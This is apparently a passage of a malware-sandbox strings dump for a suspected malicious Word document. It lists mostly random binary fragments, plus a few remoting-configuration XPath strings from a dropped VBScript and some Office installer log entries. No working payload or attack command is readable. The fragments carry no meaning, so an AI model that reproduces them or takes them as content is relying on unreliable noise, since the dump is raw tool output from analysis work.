WW]dHA}?,tyCv:dbqNp&#ttELhvU9AE^;W/:Rt0,gSYIyK-CgO;#4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

wZFSZCw%S"ws_Yi<\v_T!R#!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

wZu?{.l#m]Yamw47o+D3^\8.~v?Ov*+7ZSr)WZ[NpgRUz.33e Zpo}}a<sf!0}3 WX>@)}[<4Fz`l5T@zX060sx.!lxFoyKHF8i?qnt;99l}4*5L.<w=@vV"ES!mMNF]I+m-

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

W{JYs7\t~3bmtf#77{w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

x!iJ6)?_q\uqs?w|vs/ixP^'f?(% |_~{:KX''F4f?ZJq|Pix N

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

x$HzUMDIcS2*S/Ly}}'<)wc_i@xSc<q6m.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

X%hv=f0DLt4zE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

X-X+Hfj[g]-ilkow@rk%~nlvK*vT(,IQI|~457@5a

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

x/{|K2Ns|ze+5U1K6oz/P{6m~rMm]ENQ9{A&FJpu(H6$X:B:BUl67VJ9vA2$$&}A6P

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

x0:bdooq(s'>"E(+.'e?O`l+8#>'J'X'xGV<86?+s!}?Zn8\\XH1V-x8FFRw;<$NCyC>?']*}KGFuW)8^53/by3VVsN6QONM;k3Zd.'qYc)oVO>.s[V7iXYw>xzp;_Z^* +cgjXq2sssf&M>+LlE|0`H0rf7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

X34!_5?F3ZJNY&TKa

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

X70^oW*s=vOMq+z_qqzpa9Un

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

X7_E<#WsADEqx-crHB@<'M[qP1`hV{ML>+CC?kD#V<*eaYO\~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

x;$xEB-]dfeL-Et<.@K |CeF<WHZd7:"=j/HE_nt'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

X;ogruK.;J25A:&12qV`$tw9Rj;I"Bl]JK(/1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

X?'VN6?ek)7O;?;0_7Hq-UW]zDU,#:*uaJV?rF_KoeB'J7XVCW_eF7Va^!w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

x@5iJ)500e l8tB=E@h0o6KLiQ'r$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

x^OFGFy|MP.nLm?}c/+fNsu|+9S\\#<INx~?{G0&Uy9b[m{QI\p?B'0y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Xaay"=3Cs$Z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

XaeH`g'n567VpVWzaB)=LLaP8'Y`9y\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

xcyupww=@E>b.#xvTI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

XDocs_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

XDOCSEditorFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

XDOCSFiles32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

XDOCSFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

XDOCSHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

XDocsPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

xfK>N!@,D6W;x}C}6>u Z]zQ;lD^kY%hfS

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

XJ;W0i+1kJ KnS]ht$kF

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

XJzyA[7UsgfYX\MxnOF]m4U#oXdPaG"xEoV'}Y)=aaXc2zC_MGf6>]?D+V\#a!~+$OG%=;P_%27"B~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

xLLNfm`92]A=(0\YHJ._\X7oV"Pl8!Fv;:f9T

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

XM7om[Q3:*dA?|-gHgsFj2c<9AG/mzko<K[;\E7v(?Z?I[g)!qA6crIfb\2`"`*':*Z[hSq$:XfB(f#RRH2l6jD(^YIzun_k/7>n|^_YQ[rJw' n:][:<Grz:F'Kb+orV77fJYfhOZK:!xa.FJw}k=y]`@Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

xpathEnabled = "/s:Analyze_OUTPUT/s:RemotingEnabled"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathEnabled = "/s:AnalyzeService_OUTPUT/s:RemotingEnabled"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathResult = "/s:EnableRemoting_OUTPUT/s:Results"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathResult = "/s:EnableService_OUTPUT/s:Results"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathStatus = "/s:EnableRemoting_OUTPUT/s:Status"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathStatus = "/s:EnableService_OUTPUT/s:Status"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathText = "/s:Analyze_OUTPUT/s:Results"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathText = "/s:AnalyzeService_OUTPUT/s:Results"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathUpdate = "/s:Analyze_OUTPUT/s:EnableRemoting_INPUT"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpathUpdate = "/s:AnalyzeService_OUTPUT/s:EnableService_INPUT"

Ansi based on Dropped File (ConfManagerNT.vbs)

xpl4):oK'qLvE^[y\&:V4]`84 eJ'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

xqNO#~koa7_TD8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

xSv'q5WHJe`2s):M'x\}^`$$08ZB0h5#U|~&=;wX~O2wD['oS4bltm][j?k{Y{,d\;pvq1TTU2dXv3.wxD#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

XU[8"4]!8#kQ,'?Z~&b~Mr-Z&9EE#"GB!{cR499iUu[W5.C2<:le22nCL!ny~sf>oJGG}nBD!*9iA8Y\_Qq9#*bGD_cccVD&fI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

XuMh8lvs7oC5}Aog+~A$/D@da

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

xX;-dG8(><+SO6b~\qa;{A<;+?{LA(4w.d9Bz(PpK <wkO!,tWO.eryOk_~m$2&92S}7e%#sj$r+NIzikDw@" lJ 6 $z#?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

XY?:~>OttY9 7\gV^+~?JwQxd"\74~9r$W2'5x?eg4UqV_#~x&h~9r1}d5wL#"YSb}vNYdL,x[;; ^yDpcx9i/XOb{lYme2m7sZ r1nl;y /"b(VZIK~|^m|k$\Ok("7AZZRB{%W@QQTNXI3i}IzvCWe"ox]Xq`x9j1sY,{Ki9319K9t5GtH4;[E`T4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

x~6^c^^}BtlQANp%L.@R9dkl eb^fS2o_1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y(6d*y# b!&r3=-U\yj{<pA{3xgWWpo0)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y)0{]$vpCE;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

y*DzkFpMF=|NFJ~L-l"?B%]W:t"kz7rAyDS2zV3s)+Fva-"e4 /;M"lPLf*[>\:,MoM7uURuq&wk02{?=VcAzHjoMiYb>O~y}HFiFR7}Uh1vPX}2gB7+^.XzV[GybV4^["=I@pIgY'nIg99de=<ivJeUf=%}}<Ocy;lfGP:6m>AA|d^N""D507{3&7d^%z;qGVDP\G(^A*.AC~$Hd F|HtA, 7u{>bU@~x\=<'.n"*}-[tTW=^L4[VXk0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y*M/?:Jopx,o[u`46

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y*sG<)+>i*Cd^$'Y#;e{r3wZ<L@k#i!"2z;[Ca;uc7:dmJ`|iv=frXGrxrv<$LC0yiMDWSg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

y-/+'3kfV3]+fec$,AZj<ERDB+#6hwYqy<5Rh,6Qjbb,0(?"B(t: !6ys'}s.`?dVMj<'yE6nSG@]HE!8BRD1PKgXxj~FbQk^x9YM~Tyt57JOG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

y.FD9a|$]n`o"[-Jzey`l61g6x}U{7,(p+vxdGWsw|DF3L

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

y/nQ@~AKT 2pr"x~]~*kVW^Poa{V==/jhwX~?nA2IO?2 J~\Og4[i,cYew!efP ]y+mgsw`Kb!?F&cJ*!#{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y55'k~oSr?RDX_zudG2@tB!tu2:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y6xA"}+VWW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y9;W#]\n6O!{mCFFS>0;!YQ9Tc72i`4@gQW5,;Fov=mIGt_:KFT9KUH'{hbc-W:Jwpyst'&?FcSmzy!==7Na)?]kowWv&C_#_orc#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y;YLBZD3$HT._C&&*CtL>G{r)@p h]'5^~%

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y<e_?iw"s=O~O,_<qR.\9q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

y>yQvz"KnG$m@mh[AWnF2Hm9x#Sc`fD/q3pAx"0mG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

y?e?Z]\(lX';&_mZk1q'xaf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

y];MIzobZh$-3x$!'*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

yBPA80-;,M/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

YCU=[ZD]t"!BYd=fC6q`,u(QF>,P;`G;7ow4z9@

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

yDPJtG[^]-lnnbww'''z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

yE.,-4caqQ!Jxao;H;n-b#:[mu%s%"pYMEP=}_<{L^UL@{B2-'BjEN)2YEpmP[u|5%}<{BLE|x_|5GOD_zOx$+<y6elPLG'p..-T*Z+{)3gYcl`sX\^ttbO&c|;k~&a|xqtuDQy#g:,dJEHj/>Qm[SX+n{{[{cj/`-`u}CV&#$2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Yf=ak?m|^N/%e$A&5G!cckqzW.=<img<jl Pou6KUJFp{,T&TT$*s,(eGs %1NK]aqsy|"%n<2zc!3b)ii%knKT#;EYC&F}>Xxs7`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

yfk4`&jc\\7#y98rd'S.+1%B@H`9331ZF%_~@Kz=qG?:ue(hOJ,p=@XIIx \AvL/i:e.&4V

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

YgTn~n"~".H!h7GCn>qj7X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Yi8u.nt!pOqcUT\Y{Dc:_RlPqxy&5|!{eL'vnHaOaop#31Q$l%d. Q9

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

yO4^W~R'@nl

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

yoUH*)V7r'unq@N=B,YW'N&{1KkXTdNXO}]=gq}(/pv;]LoK6_WIeDG{EJ0,r6C"%%I$BKt_UpX|XiSoA~clvEHhtYwBfh_BtC{A_TV 1K" NQ/N[vNb1c=z6d#Yiv `/.$M9ZM5@DH7^aH:JN//<Y\&3T9D4`>*J+\Z<WW~o{k60FGl\z9,kSEUu%.W^|+\|)'>SI;DX4ww6L$U1xtxT*%5BaYgamXDA49CL%'!o.rmNB6>j'D0:bHRG{ZYE$Dr&KOo=*PhM!dbhbp8~>Gq dio1*s^4SDX"LxZy"w?%GF-~QHy$I@3gs]?SN$+;o(Y|V~~u-'lg%,^q3IdIjgB]>jo'Z}9d2eqevj

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Yq200MNOQ<waA?uR/lS4Qk:Z!VV}YIxr}H8a&UJ\E5UP

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ySrRUUfg(8z%MxH,Gra#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Y}-q}GV^~w<xGMV'K.Tzd_5w> [r,*QJN9(jRQoXhQ-q IDAT

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Z#NoBO#_#^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Z$?.zdf28'-.7#6YRZre#mo

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Z&RWVt&Rhj8^pzad+` "T'j?`$`$Q$_3JA-P&?DY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

z'.;A[nRrso_w^:?_-2OtP0~YY5n5$QO2Gy-QCk!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

z:E0d`d|&)r=ffcn~sn9%2M1=z<O.lRWdx!4R4pO`y&v^DR3~`|7P>d<>$_7oC KL|E4E3A4ON`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Z;YJ?kZ=g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

z<J4:n4dQnZk=.#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

z@^Pn=9e-OM]eoQNUa qddgcBkr@a.JdzW^17$k$ms3mRNr~Q#e'!f8.w=(2@ITZxey5~mN4[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

z[D|U["(\=sw9/(z@hM228C<'_0e .: l0)"MqZeb:N*]pJaZ6%\y=7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Z]G\Aon^y5+usspnd^*N45xuDCZ-sfXyfO=7si8[4=Yhx(u455Y4kMhi"cHXe=ld*R`9xVxqGy4Xa,)YWM=Uv'[.6wf.,wNe

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Z^IiD3}l/(}32Jh'6QEU"4w9FZb/;<Gc1}j=g!z(.*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

za]';>i]DmJlw~5^##=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

zC#C5q@}A[(oe^-=MuTje<wup6$U6sPq4(4a_6hhcC=n8P$ya-i1$JpsP@Edt,h[f:F~("f/EBeNy!7[piE=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZCK9Cc7JJMaA;$}z6win

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZdrT[,jTF ns4nmGw>|}8u=ss6/N

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

zdyn,Bg<4D@Bt ?! bH*%MJ/#"N{1S40%X0)~=s1Y6;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZHB<V2Gei}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ziO6XfeuqRF

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

zjr*Yz(pb

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZM; .r`]{DbwV(3,A,xynUN9S^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZNZx*Ux'32n=frF|&7;T F^C@Q[g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

zO<Cz{B&^<Aso"&W\aUtZ|OOh=46gd

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZPoILwcbAd="/1GD+*=+*A,7S1ET1GD24"

Ansi based on Dropped File (ConfManagerNT.vbs)

ztv`wr.j+tzKI%#7{QtXm64*5H(**

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

zx;V)MuU[PfaaIztd=z4X&cE/Z'757[-3Q|u:z~,Z2OIO*i7pXnL(#i|ssQhH

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

zxD\\K+VW)=n@:U8iPsU=CwP=^Z~T({Tzj\~B6Dm`|G].=1s%W*;Y^m]v7":eu8>b+|6.c7yet8/<7X*V({(D[rw8=P"0D4/oP]qqncso[pq"99O{=1wx+j'eLWn`3ADl

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZXYY-ge*sb&dLnU2<

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZZ&824:$242a!eltD5[Z?cvv8~}vHkSiiy("=28bW>@?xDZ;4*d4ms*'5A2<V595!j_feaqNLh]_*}cgG<my,(Z[Ub6+gU 6dFV-OIi|F5w88=G#yxSwM~&\ktX5="ZyCt-?>3-^-QSY8\MJEmz>BRvWgr|\baUUtK{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ZZi)vP6Q@i:K;R=)#f<0%[jX/XWoLkN}tv5-gFs@5`j

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

zZL$?wbB9so|raW25PFomtY|?VWj'&X=U6zG1nB<!HI:<}*s{eje<Y{^l!>WN^.'nFn~^j?~0!:FA~((*x]7o1y2WmEv~;Yywk=}7;D"=s

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Z{L8JfOu.M]W:4!ZJ$.pw$,=1~Go0=Zp}H`K"8.kb3]I3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

z|_~J$?Vi;"l eayY"|!MzDEf!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

z}8\[#/PZVA*d4eg"8dX4 J a0Ocp|<gw|S'p94r,jC]<~pO@f(C7lcn:mj?_, TL&='m0QA4>+C6,vO.8#(lRV^FUbjA%3)sv0I36v'':;eTq%BwO9~|^~wKk{X^K9^X7:#W/))*%a&i'^qz

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{ *F6?5R#$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{!nq)Sd S=9A07aypS{D/iiol&?G8rts>vGM$Tvf^w3!w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{"[QtB?~YJ)("Fg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{%xSn46X?MVDkY^>njc#-EsC}jS&~1\7vzj{Dh-}eLrW.nne!y/-sS%??dlqTXih!/_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{0R,OscuQP3kO @RHR=V #%,gRJACkJE%]U]M8!_um?KlIC/{pjHu-mP(_,Av'tOed$3#&N/[\IJv+}D?#JVS_:/8'>fR:<7X>Le`S9dRsrf'2YAvRMd|J(90VRIzfv^B.vetWATN"+O?|1#f]F_?/yk|[r{a1cc%%y7UCU|?^Uap=FxAv'r:9g&Rnd2a]J%&&.[cbGUuELoXIO=+2vu3k<\?<]?*QJlXYs%8HdlO1=1KZy?O-`b&3K11M KS^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{1&w2!i&1qOm9vjls@`QR$i?g&!ib^<^<^B(5gU~s02pPu-ms{LCv6J!,Id"#P2|kteYDF;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{473260FA-4446-4B3F-8AB5-75B1CEEAA655}

Unicode based on Runtime Data (WINWORD.EXE )

{8$Qqa2iz).*gW=InIuXInhn+(M*(D%{\'>0|1/|!?b0ODP?({;qw5Nmxgiq>?t%/6g+'d6_MS~3q1f<x"#,`c=]"I]1W^9+=Bu{7Aaavf2kRW&7QwE0",i4\e?;!YA{@@TIp

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{;E>Dg3*5!M|?/tzKS/Auq'k@VgO{J<C

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{<gQm!3!~]%W# teua'Nw&~Hv]dI&h#pY3bJs'ZrrIZW.3l#\JbtT8TzYuy_#'q*NXDe3,>6=qoOQ+'~QyfOa]nm]]Z4)nB;8"vxH_o+r57:Y7F-oN{(*3"CtK%y*f:GX9h&BI%Mc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{\Wy6`x^b9~sE(kh6&\-[*t3}F"Ir'~.;C<|B,S^c?9gH$289M=qtXak{O"-Zo{q;J#"O/$NlF&pV8pCva"wC2ks'wl5[Ts<gb2t]Aba

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{i#?1Ygm>y}NEds](Bwf_3^~/?RdS?<;{nnmWov;pe[p~@/DZ>:-P>`_/"zs8t^t,ccb65_Y*fLX>a4zZ*1XoXn]7XVUa9*1c>GYf|"Qy:<sasmu^#|wmxl{1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{KuSL.]k2>e+da

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{lLX3&^4^u'_:S.4<2F1bOtFO~?!y$GmLx3a@m7H3ynA~(zT`U3aGirq4-Uylf-&u}:~F0AqgZ"7u>~SX[cS^3NIbW{ezd1K+d\5W?^f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{LUy/-hkbr?a"S>o'9:sM(U&c`|N\XVao6H;^~Car+/M_>{iI7Hw+wqE]o_g:Yt<-.iG>2A3dww 48:l,|.th?y]fM3qD ?D

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{pwg{k/CPIJqCSWl:JaEKgF7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{R:[[z|T:/k

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{s-j(wP\Fy&=A3>&v=6`n'k%)SX<h ~S*=Qqg]+L9;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{s9t2X#Fyj[bX<fL9s^UjN/Y[:d9[Xf5/ydYFVnf> IZ! 7v&wicep

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{s{SAOd96Z**RDHHCI]rhU2d^VN'Os5?0t9y*11'1nZ?h!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{W-!!6w9D%Z84;0bYhJ)*bd#IWi0'#['3(OH=/w<6{<kG'YWnB-(J)vuq5PFlH'OD(\*D&IEJw}.W=>^dHwv;#[AkJOEJ8ZzeA(%llZC=d2N{r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

{w|~x3""Zh+1sc\.7k!Q3w;0c(Kzw(xWwrTWa7_fd-hi"FWd&^/ qt@vM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|!12g"ge`zv6v8"H_v"XbHvD/d[MvF`<vr_4']6?_r)}Y=x4A><\?x6

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

|"m_?H5~\ p:I#OA/1tK%lU7/o,s&0#wz"4

